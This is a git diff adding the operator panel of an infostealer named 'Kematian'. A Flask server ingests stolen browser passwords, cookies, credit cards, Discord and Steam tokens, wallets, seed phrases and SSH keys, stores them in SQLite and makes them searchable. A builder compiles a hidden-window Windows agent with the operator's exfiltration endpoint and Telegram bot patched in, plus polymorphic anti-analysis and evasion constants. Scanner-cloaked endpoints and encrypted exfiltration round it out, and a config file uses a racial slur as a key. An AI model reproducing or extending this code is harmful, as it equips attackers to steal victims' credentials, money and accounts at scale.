["name", "type", "path", "files", "size", "addresses", "vault_data"], + [d.get("name"), d.get("type"), d.get("path"), d.get("files"), d.get("size"), + ";".join(d.get("addresses", [])) if isinstance(d.get("addresses"), list) else d.get("addresses"), d.get("vaultData")], + )) + + insert_cat("telegram", "telegram", lambda d: ( + ["account", "path", "files", "size"], + [d.get("account"), d.get("path"), d.get("files"), d.get("size")], + )) + + insert_cat("keys", "keys", lambda d: ( + ["type", "name", "path", "size", "content"], + [d.get("type"), d.get("name"), d.get("path"), d.get("size"), d.get("content")], + )) + + insert_cat("appCredentials", "app_credentials", lambda d: ( + ["application", "host", "port", "username", "password", "protocol", "extra"], + [d.get("application"), d.get("host"), d.get("port"), d.get("username"), d.get("password"), d.get("protocol"), d.get("extra")], + )) + + insert_cat("seeds", "seeds", lambda d: ( + ["source", "path", "phrase", "words"], + [d.get("source"), d.get("path"), d.get("phrase"), d.get("words")], + )) + + # nested objects (gaming/vpns) — store the whole sub-object as one row + def insert_single(table, vpn_or_key, payload): + nonlocal total_new + cols = ["client_id", vpn_or_key, "payload"] + conn.execute( + f"INSERT INTO {table} ({', '.join(cols)}) VALUES (?,?,?)", + [client_id, vpn_or_key, json.dumps(payload, separators=(',', ':'))], + ) + total_new += 1 + + gaming = data.get("gaming") + if isinstance(gaming, dict) and gaming: + insert_single("gaming", "platform", gaming) + vpns = data.get("vpns") + if isinstance(vpns, dict) and vpns: + insert_single("vpns", "vpn", vpns) + + # steam login/refresh tokens (list of {steamId, token}) -> own table + steam_tokens = data.get("steamTokens") + if isinstance(steam_tokens, list): + for st in steam_tokens: + if not isinstance(st, dict): + continue + conn.execute( + "INSERT INTO steam_tokens (client_id, steam_id, token) VALUES (?,?,?)", + (client_id, st.get("steamId"), st.get("token")), + ) + total_new += 1 + + # binary payloads (wallet/telegram/steam zips) -> persisted under loot/ + payloads = data.get("payloads") + if isinstance(payloads, list): + for blob_doc in payloads: + if not isinstance(blob_doc, dict): + continue + try: + blobs.save_payload(client_id, blob_doc, conn=conn) + payload_saved += 1 + except Exception: + pass + + conn.execute( + "UPDATE clients SET total_entries = total_entries + ? WHERE client_id = ?", + (total_new, client_id), + ) + conn.commit() + except Exception as e: + conn.rollback() + conn.close() + return jsonify({"error": str(e)}), 500 + conn.close() + + return jsonify({"ok": True, "clientId": client_id, "entries": total_new, "payloads": payload_saved}), 200 + + +# ---------------------------------------------------------------- misc +@app.route("/health") +def health(): + # Only responds when the caller proves it's an agent (correct ingress key), + # so random scanners / curls get a nondescript 404 instead of a liveness beacon. + if not authorized_auth() or not ip_allowed(): + return abort(404) + return jsonify({"ok": True, "ts": now_ts()}) + + +@app.route("/e2ee/pub") +def e2ee_pub(): + """Panel's E2EE public key (hex). Agent fetches this at runtime to encrypt + toward the panel. Locked behind the same ingress key so it isn't public.""" + if not authorized_auth() or not ip_allowed(): + return abort(404) + return jsonify({"algo": "x25519-hkdf-chacha20poly1305", "publicKey": crypto.public_key_hex()}) + + +@app.route("/search") +@login_required +def search(): + q = (request.args.get("q") or "").strip() + results = [] + conn = db.get_conn() + if q: + like = f"%{q}%" + pwd = conn.execute( + "SELECT client_id, url, username, password, browser FROM passwords WHERE url LIKE ? OR username LIKE ? LIMIT 50", + (like, like), + ).fetchall() + for p in pwd: + results.append({"type": "Password", "detail": f"{p['username']} @ {p['url']}", "client": p["client_id"]}) + tok = conn.execute( + "SELECT client_id, token, source FROM discord_tokens WHERE token LIKE ? LIMIT 50", (like,) + ).fetchall() + for t in tok: + results.append({"type": "Discord", "detail": t["token"][:40], "client": t["client_id"]}) + host = conn.execute( + "SELECT client_id, host, name, value FROM cookies WHERE host LIKE ? OR name LIKE ? LIMIT 50", + (like, like), + ).fetchall() + for c in host: + results.append({"type": "Cookie", "detail": f"{c['name']} @ {c['host']}", "client": c["client_id"]}) + conn.close() + return render_template("search.html", q=q, results=results) + + +# ---------------------------------------------------------------- web builder +@app.route("/build") +@login_required +def build_page(): + return render_template("builder.html", default_endpoint=PANEL_PUBLIC_URL, builds=builder.all_jobs()) + + +@app.route("/build", methods=["POST"]) +@login_required +def build_start(): + endpoint = (request.form.get("endpoint") or "").strip() + auth = (request.form.get("auth") or "").strip() + bot_token = (request.form.get("bot_token") or "").strip() + chat_id = (request.form.get("chat_id") or "").strip() + build_name = (request.form.get("build_name") or "kematian").strip() + + if not endpoint: + endpoint = PANEL_PUBLIC_URL + # normalize: if user entered just host, append /api/ingest + if not endpoint.endswith("/api/ingest"): + endpoint = endpoint.rstrip("/") + "/api/ingest" + if not auth: + return render_template("builder.html", error="Panel auth key is required.", + default_endpoint=endpoint, builds=builder.all_jobs()), 400 + + build_id = builder.start_build(endpoint, auth, bot_token, chat_id, build_name) + return render_template("builder.html", started=build_id, default_endpoint=endpoint, builds=builder.all_jobs()) + + +@app.route("/build/status/") +@login_required +def build_status(build_id): + job = builder.job_status(build_id) + if not job: + return jsonify({"error": "no such build"}), 404 + exe_name = os.path.basename(job["exe"]) if job["exe"] else None + return jsonify({ + "status": job["status"], + "error": job["error"], + "exe": exe_name, + "download": f"/build/download/{exe_name}" if exe_name else None, + }) + + +@app.route("/build/download/") +@login_required +def build_download(filename): + from flask import send_file + safe = os.path.basename(filename) + path = os.path.join(builder.BUILDS_DIR, safe) + if not os.path.exists(path): + abort(404) + return send_file(path, as_attachment=True, download_name=safe) + + +if __name__ == "__main__": + db.init_db() + os.makedirs(builder.BUILDS_DIR, exist_ok=True) + port = int(os.environ.get("PANEL_PORT", 5000)) + app.run(host="0.0.0.0", port=port, debug=False) + diff --git a/panel/blobs.py b/panel/blobs.py new file mode 100644 index 0000000..09a8a45 --- /dev/null +++ b/panel/blobs.py @@ -0,0 +1,121 @@ +""" +Binary payload storage for the panel. + +Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are +written to disk under loot// so they're persisted as a backup, and +tracked in the blobs table so the dashboard can list + download them. +""" +import base64 +import os +import time + +import db + +# Root directory for all hosted payloads. Auto-created on first write. +LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot") + +# Match the request size that the agent is allowed to send in one payload. +# Guard: refuse a single blob beyond this (avoids filling the disk). +MAX_BLOB = 64 * 1024 * 1024 # 64 MB + + +def save_payload(client_id, blob, conn=None): + """Persist one payload dict from the agent. blob has keys: + category, name, filename, size, data (base64 str). Returns the blob row id. + + If `conn` is provided (an already-open transaction, e.g. during ingest) the + DB insert runs on that connection and is NOT committed; otherwise a fresh + connection is used and committed.""" + filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_") + data_b64 = blob.get("data", "") + try: + raw = base64.b64decode(data_b64) + except Exception as e: + raise ValueError(f"bad base64 payload: {e}") + if len(raw) > MAX_BLOB: + raise ValueError("payload too large") + + os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True) + path = os.path.join(LOOT_ROOT, client_id, filename) + with open(path, "wb") as f: + f.write(raw) + + ts = int(time.time()) + if conn is not None: + cur = conn.execute( + "INSERT INTO blobs (client_id, category, name, filename, size, created) " + "VALUES (?,?,?,?,?,?)", + (client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts), + ) + return cur.lastrowid + + conn = db.get_conn() + try: + cur = conn.execute( + "INSERT INTO blobs (client_id, category, name, filename, size, created) " + "VALUES (?,?,?,?,?,?)", + (client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts), + ) + conn.commit() + return cur.lastrowid + finally: + conn.close() + + +def upload_public(filename, data, category="upload"): + """Store an admin-uploaded file under loot/upload/ and track it in blobs. + + Returns the blob row id.""" + raw = data if isinstance(data, (bytes, bytearray)) else data.encode() + if len(raw) > MAX_BLOB: + raise ValueError("file too large") + filename = (filename or "download").replace("/", "_").replace("\\", "_") + client_id = "upload" + os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True) + path = os.path.join(LOOT_ROOT, client_id, filename) + with open(path, "wb") as f: + f.write(raw) + + ts = int(time.time()) + conn = db.get_conn() + try: + cur = conn.execute( + "INSERT INTO blobs (client_id, category, name, filename, size, created) " + "VALUES (?,?,?,?,?,?)", + (client_id, category or "upload", filename, filename, len(raw), ts), + ) + conn.commit() + return cur.lastrowid + finally: + conn.close() + + +def blobs_for(client_id=None): + conn = db.get_conn() + try: + if client_id: + rows = conn.execute( + "SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,) + ).fetchall() + else: + rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall() + return [dict(r) for r in rows] + finally: + conn.close() + + +def blob_path(client_id, blob_id): + conn = db.get_conn() + try: + row = conn.execute( + "SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id) + ).fetchone() + finally: + conn.close() + if not row: + return None + d = dict(row) + path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"]) + if not os.path.exists(path): + return None + return path diff --git a/panel/builder.py b/panel/builder.py new file mode 100644 index 0000000..d47e27f --- /dev/null +++ b/panel/builder.py @@ -0,0 +1,332 @@ +""" +Web builder for the kematian agent. + +Project: https://t.me/electronic_sex + +Copies the Go native tree to a private temp dir, patches in the entered config +(endpoint + ingest key + optional Telegram), runs `go build`, and drops the +resulting .exe into builds/ so it can be downloaded. The original source is +never touched. + +Results + build output are kept per build so the UI can show a log and offer a +download link. +""" +import os +import shutil +import subprocess +import tempfile +import time +import threading + +# Directory that holds the native Go source tree (go.mod lives here). +# Resolved robustly: use BUILDER_NATIVE_DIR if set, else probe common relative +# locations so a relative default never one level too deep (../.. would skip the +# repo folder). Probe both "../../" and "../" style layouts. +_here = os.path.dirname(os.path.abspath(__file__)) +NATIVE_DIR = os.environ.get("BUILDER_NATIVE_DIR", "") +_TRIED_ROOTS = [ + os.path.join(_here, "..", "..", "Kematian-Standalone", "native"), + os.path.join(_here, "..", "Kematian-Standalone", "native"), + os.path.join(_here, "..", "..", "..", "Kematian-Standalone", "native"), +] +# Where built .exe files are published for download. +BUILDS_DIR = os.environ.get("BUILDER_OUTPUT_DIR", os.path.join(_here, "builds")) + +_build_lock = threading.Lock() +_last_build_id = [0] +_jobs = {} # id -> {status, log, exe, error, created} + + +def _resolve_native_dir(): + """Return the path to the Go source tree, or None if not found. + + A candidate is only valid if it has go.mod AND the source files we patch + (recovery/exfil/panel.go + cmd/exfil/main.go). Some old copies only ship + go.mod and would produce a confusing build error, so we skip them. + """ + def is_valid(p): + return (os.path.exists(os.path.join(p, "go.mod")) + and os.path.exists(os.path.join(p, "recovery", "exfil", "panel.go")) + and os.path.exists(os.path.join(p, "cmd", "exfil", "main.go"))) + + if NATIVE_DIR: + cand = os.path.normpath(NATIVE_DIR) + if is_valid(cand): + return cand + for root in _TRIED_ROOTS: + cand = os.path.normpath(root) + if is_valid(cand): + return cand + return None + + +def _patch(text, replacements): + for old, new in replacements: + if old not in text: + return None, f"pattern not found: {old!r}" + text = text.replace(old, new) + return text, None + + +def _sh_rmtree_git(dirpath): + """Remove stray .git dirs at the source root of a copied tree.""" + import shutil as _sh + _sh.rmtree(os.path.join(dirpath, ".git"), ignore_errors=True) + + +def _find_cargo(): + """Locate the cargo executable (prefer env override, then PATH).""" + override = os.environ.get("BUILDER_CARGO") + if override and os.path.exists(override): + return override + from shutil import which + return which("cargo") + + +def _write_gen(gen_path): + """Regenerate src/gen.rs with fresh random constants so each build produces a + distinct binary. This is the polymorphic/metamorphic layer for the Rust DLL.""" + import secrets + + def rnd(): + return secrets.randbelow((1 << 32) - 1) + + def rnd8(): + # avoid 0x00 so XOR keystream keys are never trivially identity + return secrets.randbelow(255) + 1 + + def rnd16(): + return secrets.randbelow((1 << 16) - 1) | 1 + + def rnd64(): + return (secrets.randbelow((1 << 32) - 1) << 32) | secrets.randbelow((1 << 32) - 1) + + seed = rnd() | 1 + k_token = rnd8() + k_vendor = rnd8() + k_smbios = rnd8() + k_env = rnd8() + k_display = rnd8() + junk_xor = rnd() | 1 + junk_rot = rnd() | 1 + junk_n = secrets.randbelow(16) + 4 + opaque_tag = rnd64() + + # Additional polymorphic constants for new features + # Control flow flattening state key + cff_key = rnd() | 1 + # Syscall spoofing trampoline selector + syscall_tramp = secrets.randbelow(8) + 1 + # Sleep encryption round count + sleep_rounds = secrets.randbelow(4) + 3 + # Anti-hook check order permutation seed + hook_order_seed = rnd() | 1 + # Stack spoofing offset + stack_spoof_off = secrets.randbelow(0x1000) + 0x100 + # Junk block variant selector + junk_variant = secrets.randbelow(4) + # Opaque predicate complexity + opaque_complexity = secrets.randbelow(3) + 1 + + content = ( + "// AUTO-GENERATED per build by builder.py. Do not edit.\n" + "// Each build rewrites this file, so the guard's keys, seeds and junk\n" + "// blocks are unique to every artifact.\n\n" + f"pub const GEN_SEED: u32 = 0x{seed:08X};\n\n" + f"pub const K_TOKEN: u8 = {k_token};\n" + f"pub const K_VENDOR: u8 = {k_vendor};\n" + f"pub const K_SMBIOS: u8 = {k_smbios};\n" + f"pub const K_ENV: u8 = {k_env};\n" + f"pub const K_DISPLAY: u8 = {k_display};\n\n" + f"pub const JUNK_XOR: u32 = 0x{junk_xor:08X};\n" + f"pub const JUNK_ROT: u32 = 0x{junk_rot:08X};\n" + f"pub const JUNK_N: u32 = {junk_n};\n\n" + f"pub const OPAQUE_TAG: u64 = 0x{opaque_tag:016X};\n\n" + "// Polymorphic control-flow / evasion layer constants\n" + f"pub const CFF_KEY: u32 = 0x{cff_key:08X};\n" + f"pub const SYSCALL_TRAMP: u8 = {syscall_tramp};\n" + f"pub const SLEEP_ROUNDS: u8 = {sleep_rounds};\n" + f"pub const HOOK_ORDER_SEED: u32 = 0x{hook_order_seed:08X};\n" + f"pub const STACK_SPOOF_OFF: u32 = 0x{stack_spoof_off:04X};\n" + f"pub const JUNK_VARIANT: u8 = {junk_variant};\n" + f"pub const OPAQUE_COMPLEXITY: u8 = {opaque_complexity};\n" + ) + with open(gen_path, "w", encoding="utf-8", errors="replace") as f: + f.write(content) + + +def _get_rustflags(): + """Generate per-build RUSTFLAGS for codegen variance.""" + import secrets + flags = [ + "-C", "opt-level=2", # or 's' or 'z' randomly + "-C", "lto=thin", + "-C", "codegen-units=1", + "-C", "panic=abort", + "-C", "strip=symbols", + ] + # Randomly vary optimization level + opt_level = secrets.choice(["2", "3", "s", "z"]) + flags[1] = opt_level + + # Randomly vary codegen units (affects function layout) + cgu = secrets.choice(["1", "2", "4", "8"]) + flags[5] = cgu + + # Randomly enable/disable specific optimizations + if secrets.randbelow(2): + flags.extend(["-C", "llvm-args=-enable-gvn-hoist=false"]) + if secrets.randbelow(2): + flags.extend(["-C", "llvm-args=-enable-loop-interchange=false"]) + if secrets.randbelow(2): + flags.extend(["-C", "llvm-args=-enable-loop-unroll=false"]) + + # Random target-cpu for instruction selection variance + cpu = secrets.choice(["x86-64-v2", "x86-64-v3", "x86-64-v4", "nehalem", "haswell", "skylake"]) + flags.extend(["-C", f"target-cpu={cpu}"]) + + return flags + + +def _build(work_dir, endpoint, auth, bot_token, chat_id, build_name, rust_dir): + # --- build the Rust anti-analysis extractor so every build ships a fresh, + # guarded DLL (it is go:embed'ed into the agent at compile time). The DLL it + # produces is copied to recovery/platform/compat-layer.dll inside + # the copied tree before `go build` runs. rust_dir is the *real* sibling of + # the source native tree (not inside the temp copy). + if os.path.exists(os.path.join(rust_dir, "Cargo.toml")): + cargo = _find_cargo() + if cargo: + try: + # Polymorphic layer: regenerate the per-build constants before + # compiling so every artifact gets a unique binary / hash. + gen_path = os.path.join(rust_dir, "src", "gen.rs") + try: + _write_gen(gen_path) + except Exception: + pass # keep existing gen.rs if regeneration fails + + subprocess.run( + [cargo, "build", "--release", "--target", "x86_64-pc-windows-gnu"], + cwd=rust_dir, capture_output=True, text=True, timeout=900, + env={**os.environ, "RUSTFLAGS": " ".join(_get_rustflags())}, + ) + built_dll = os.path.join( + rust_dir, "target", "x86_64-pc-windows-gnu", "release", "compat_layer.dll" + ) + dest_dll = os.path.join(work_dir, "recovery", "platform", "compat-layer.dll") + if os.path.exists(built_dll) and os.path.exists(dest_dll): + shutil.copy2(built_dll, dest_dll) + except Exception: + pass # keep the already-present DLL if Rust rebuild fails + + main_path = os.path.join(work_dir, "cmd", "exfil", "main.go") + panel_path = os.path.join(work_dir, "recovery", "exfil", "panel.go") + + if not os.path.exists(panel_path): + return "source missing: recovery/exfil/panel.go not found in the copied tree" + if not os.path.exists(main_path): + return "source missing: cmd/exfil/main.go not found in the copied tree" + + # --- patch panel.go: endpoint + auth + with open(panel_path, "r", encoding="utf-8", errors="replace") as f: + text = f.read() + text, err = _patch(text, [ + ('PanelEndpoint = "http://127.0.0.1:5000/api/ingest"', f'PanelEndpoint = "{endpoint}"'), + ('PanelAuth = "CHANGE-ME"', f'PanelAuth = "{auth}"'), + ]) + if err: + return err + with open(panel_path, "w", encoding="utf-8") as f: + f.write(text) + + # --- patch main.go: telegram (only if provided) + with open(main_path, "r", encoding="utf-8", errors="replace") as f: + text = f.read() + if bot_token and chat_id and bot_token != "YOUR_BOT_TOKEN_HERE": + text, err = _patch(text, [ + ('defaultBotToken = "YOUR_BOT_TOKEN_HERE"', f'defaultBotToken = "{bot_token}"'), + ('defaultChatID = "YOUR_CHAT_ID_HERE"', f'defaultChatID = "{chat_id}"'), + ]) + if err: + return err + else: + # telegram disabled: nothing to patch, code checks for placeholder anyway + pass + with open(main_path, "w", encoding="utf-8") as f: + f.write(text) + + # --- build + env = dict(os.environ) + env["CGO_ENABLED"] = "1" + env.setdefault("GOOS", "windows") + env.setdefault("GOARCH", "amd64") + + out_path = os.path.join(work_dir, "kematian.exe") + cmd = ["go", "build", "-ldflags=-H=windowsgui -s -w", "-o", out_path, "./cmd/exfil"] + proc = subprocess.run(cmd, cwd=work_dir, env=env, capture_output=True, text=True, timeout=1200) + log = proc.stdout + proc.stderr + if proc.returncode != 0: + return "BUILD FAILED\n" + log + + if not os.path.exists(out_path): + return "build ok but no exe produced\n" + log + + os.makedirs(BUILDS_DIR, exist_ok=True) + safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_") + filename = f"{safe}.exe" + dest = os.path.join(BUILDS_DIR, filename) + shutil.copy2(out_path, dest) + return None # success; log returned separately + + +def start_build(endpoint, auth, bot_token, chat_id, build_name): + with _build_lock: + _last_build_id[0] += 1 + build_id = _last_build_id[0] + _jobs[build_id] = { + "status": "running", + "log": "", + "exe": None, + "error": None, + "created": int(time.time()), + } + + def worker(): + job = _jobs[build_id] + native = _resolve_native_dir() + if not native: + job["status"] = "error" + job["error"] = "Could not locate the agent Go source tree (go.mod). Set BUILDER_NATIVE_DIR." + return + tmp = tempfile.mkdtemp(prefix="kematian-build-") + try: + shutil.copytree(native, tmp, dirs_exist_ok=True) + _sh_rmtree_git(tmp) + # Real rust-extractor sits next to the native tree on disk. + rust_dir = os.path.normpath(os.path.join(os.path.dirname(native), "rust-extractor")) + err = _build(tmp, endpoint, auth, bot_token, chat_id, build_name, rust_dir) + if err: + job["status"] = "error" + job["error"] = err + else: + safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_") + exe = os.path.join(BUILDS_DIR, f"{safe}.exe") + job["status"] = "done" + job["exe"] = exe + except Exception as e: + job["status"] = "error" + job["error"] = str(e) + finally: + shutil.rmtree(tmp, ignore_errors=True) + + threading.Thread(target=worker, daemon=True).start() + return build_id + + +def job_status(build_id): + return _jobs.get(build_id) + + +def all_jobs(): + return dict(_jobs) diff --git a/panel/crypto.py b/panel/crypto.py new file mode 100644 index 0000000..aec41ee --- /dev/null +++ b/panel/crypto.py @@ -0,0 +1,72 @@ +""" +End-to-end encryption for the collector channel. + +Project: https://t.me/electronic_sex + +Scheme (interoperable with the Go agent, see native/recovery/exfil/panel.go): + - agent generates an ephemeral X25519 keypair per message + - shared = ECDH(agent_ephemeral_priv, panel_public) + - key = HKDF-SHA256(shared, salt="kematian-e2ee-salt", info="kematian-e2ee-v1", 32) + - ct = ChaCha20-Poly1305(key, nonce=12B random) + - wire = base64( ephemeral_pub(32) || nonce(12) || ct ) + The panel private key is the ONLY thing able to decrypt. The agent never + knows it; the panel never sends secrets over the wire. +""" +import base64 +import os + +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey +from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305 +from cryptography.hazmat.primitives.kdf.hkdf import HKDF + +PRIV_KEY_FILE = os.path.join(os.path.dirname(__file__), "kematian_e2ee.key") + +SALT = b"kematian-e2ee-salt" +INFO = b"kematian-e2ee-v1" +KEY_LEN = 32 +NONCE_LEN = 12 +PUB_LEN = 32 + + +def load_or_create_keypair() -> X25519PrivateKey: + if os.path.exists(PRIV_KEY_FILE): + with open(PRIV_KEY_FILE, "rb") as f: + return X25519PrivateKey.from_private_bytes(f.read()) + sk = X25519PrivateKey.generate() + with open(PRIV_KEY_FILE, "wb") as f: + f.write(sk.private_bytes( + serialization.Encoding.Raw, + serialization.PrivateFormat.Raw, + serialization.NoEncryption(), + )) + return sk + + +def public_key_hex() -> str: + return load_or_create_keypair().public_key().public_bytes( + serialization.Encoding.Raw, serialization.PublicFormat.Raw + ).hex() + + +def _derive_key(shared: bytes) -> bytes: + return HKDF( + algorithm=hashes.SHA256(), + length=KEY_LEN, + salt=SALT, + info=INFO, + ).derive(shared) + + +def decrypt_wire(payload_b64: str) -> bytes: + raw = base64.b64decode(payload_b64) + if len(raw) < PUB_LEN + NONCE_LEN + 16: + raise ValueError("payload too short") + ephemeral_pub = raw[:PUB_LEN] + nonce = raw[PUB_LEN:PUB_LEN + NONCE_LEN] + ct = raw[PUB_LEN + NONCE_LEN:] + + sk = load_or_create_keypair() + shared = sk.exchange(X25519PublicKey.from_public_bytes(ephemeral_pub)) + key = _derive_key(shared) + return ChaCha20Poly1305(key).decrypt(nonce, ct, None) diff --git a/panel/db.py b/panel/db.py new file mode 100644 index 0000000..186aadc --- /dev/null +++ b/panel/db.py @@ -0,0 +1,246 @@ +""" +Kematian Collector Panel - SQLite schema and access layer. + +Every category from the agent's CollectionResult gets its own table, all +keyed to a client row. Lookups are done through this module so the web +templates stay clean and the ingest endpoint stays idempotent. +""" +import os +import sqlite3 +import threading + +DB_PATH = os.path.join(os.path.dirname(__file__), "kematian.db") +_lock = threading.Lock() + +SCHEMA = """ +CREATE TABLE IF NOT EXISTS clients ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL UNIQUE, + os TEXT, + arch TEXT, + version TEXT, + ip TEXT, + country TEXT, + user_agent TEXT, + first_seen INTEGER, + last_seen INTEGER, + total_entries INTEGER DEFAULT 0 +); + +CREATE TABLE IF NOT EXISTS passwords ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + url TEXT, + username TEXT, + password TEXT, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS cookies ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + host TEXT, + name TEXT, + value TEXT, + path TEXT, + secure INTEGER, + http_only INTEGER, + expires_utc INTEGER, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS autofill ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, + value TEXT, + date_created INTEGER, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + url TEXT, + title TEXT, + visit_time_unix INTEGER, + visit_count INTEGER, + last_visit_time INTEGER, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS bookmarks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, + url TEXT, + type TEXT, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS credit_cards ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name_on_card TEXT, + expiration_month INTEGER, + expiration_year INTEGER, + card_number TEXT, + nickname TEXT, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS discord_tokens ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + token TEXT, + source TEXT +); + +CREATE TABLE IF NOT EXISTS files ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + path TEXT, + name TEXT, + ext TEXT, + size INTEGER, + modified INTEGER, + dir TEXT, + tags TEXT +); + +CREATE TABLE IF NOT EXISTS extensions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + ext_id TEXT, + name TEXT, + version TEXT, + browser TEXT, + profile TEXT, + path TEXT, + category TEXT +); + +CREATE TABLE IF NOT EXISTS wallets ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, + type TEXT, + path TEXT, + files INTEGER, + size INTEGER, + addresses TEXT, + vault_data TEXT +); + +CREATE TABLE IF NOT EXISTS telegram ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + account TEXT, + path TEXT, + files INTEGER, + size INTEGER +); + +CREATE TABLE IF NOT EXISTS keys ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + type TEXT, + name TEXT, + path TEXT, + size INTEGER, + content TEXT +); + +CREATE TABLE IF NOT EXISTS app_credentials ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + application TEXT, + host TEXT, + port INTEGER, + username TEXT, + password TEXT, + protocol TEXT, + extra TEXT +); + +CREATE TABLE IF NOT EXISTS seeds ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + source TEXT, + path TEXT, + phrase TEXT, + words INTEGER +); + +CREATE TABLE IF NOT EXISTS gaming ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + platform TEXT, + payload TEXT +); + +CREATE TABLE IF NOT EXISTS steam_tokens ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + steam_id TEXT, + token TEXT +); + +CREATE TABLE IF NOT EXISTS vpns ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + vpn TEXT, + payload TEXT +); + +CREATE TABLE IF NOT EXISTS admin ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT NOT NULL UNIQUE, + password_hash TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS blobs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + category TEXT, + name TEXT, + filename TEXT, + size INTEGER, + created INTEGER +); + +CREATE TABLE IF NOT EXISTS abuse_checker ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + filename TEXT, + wordlist TEXT, + mailpass TEXT, + combos TEXT, + check_type TEXT, + time INTEGER +); +""" + + +def get_conn(): + conn = sqlite3.connect(DB_PATH) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA foreign_keys=ON") + return conn + + +def init_db(): + with _lock: + conn = get_conn() + try: + conn.executescript(SCHEMA) + conn.commit() + finally: + conn.close() diff --git a/panel/example_post.py b/panel/example_post.py new file mode 100644 index 0000000..3d4ecef --- /dev/null +++ b/panel/example_post.py @@ -0,0 +1,49 @@ +""" +Example collector that mirrors the panel ingest contract. + +Point this at a running panel and it pushes a sample CollectionResult. + +Usage: python example_post.py (or edit to set your own values) +""" +import json +import urllib.request + +PANEL = "http://localhost:5000/api/ingest" +KEY = "kematian-ingest-key-CHANGE-ME" + +payload = { + "clientId": "demo-client-01", + "host": {"os": "Windows 11", "arch": "x64", "version": "10.0.22631"}, + "passwords": [ + {"url": "https://github.com", "username": "demo", "password": "hunter2", + "browser": "chrome", "profile": "Default"}, + ], + "cookies": [ + {"host": ".example.com", "name": "session", "value": "abc123", + "path": "/", "secure": True, "httpOnly": True, "browser": "chrome", "profile": "Default"}, + ], + "creditCards": [ + {"nameOnCard": "Demo User", "expirationMonth": 12, "expirationYear": 2029, + "cardNumber": "4111111111111111", "browser": "edge", "profile": "Profile 1"}, + ], + "discordTokens": [ + {"token": "fake.discord.token.here", "source": "C:\\Users\\demo\\AppData\\Roaming\\discord"}, + ], + "wallets": [ + {"name": "MetaMask", "type": "chrome", "path": "C:\\...\\MetaMask", "size": 2048}, + ], + "gaming": {"steam": {"steamPath": "C:\\Program Files (x86)\\Steam", "account": "demo"}}, + "vpns": {"nordvpn": [{"version": "6.0", "username": "demo", "password": "pw"}]}, +} + +req = urllib.request.Request( + PANEL, + data=json.dumps(payload).encode(), + headers={"Authorization": f"Bearer {KEY}", "Content-Type": "application/json"}, + method="POST", +) +try: + with urllib.request.urlopen(req) as resp: + print(resp.status, resp.read().decode()) +except Exception as e: + print("FAILED:", e) diff --git a/panel/panel.env b/panel/panel.env new file mode 100644 index 0000000..741da47 --- /dev/null +++ b/panel/panel.env @@ -0,0 +1,2 @@ +PANEL_INGEST_KEY=blackniggers +PANEL_SECRET=32751763224324 diff --git a/panel/requirements.txt b/panel/requirements.txt new file mode 100644 index 0000000..4b14e32 --- /dev/null +++ b/panel/requirements.txt @@ -0,0 +1,3 @@ +Flask==3.0.3 +Werkzeug==3.0.3 +cryptography>=42.0.0 diff --git a/panel/reset.bat b/panel/reset.bat new file mode 100644 index 0000000..05d9717 --- /dev/null +++ b/panel/reset.bat @@ -0,0 +1,54 @@ +@echo off +rem ============================================================ +rem Kematian panel - full reset +rem Project: https://t.me/electronic_sex +rem +rem Stops the panel, then deletes: +rem - kematian.db (all clients / loot / admin account) +rem - kematian_e2ee.key (E2EE keypair - 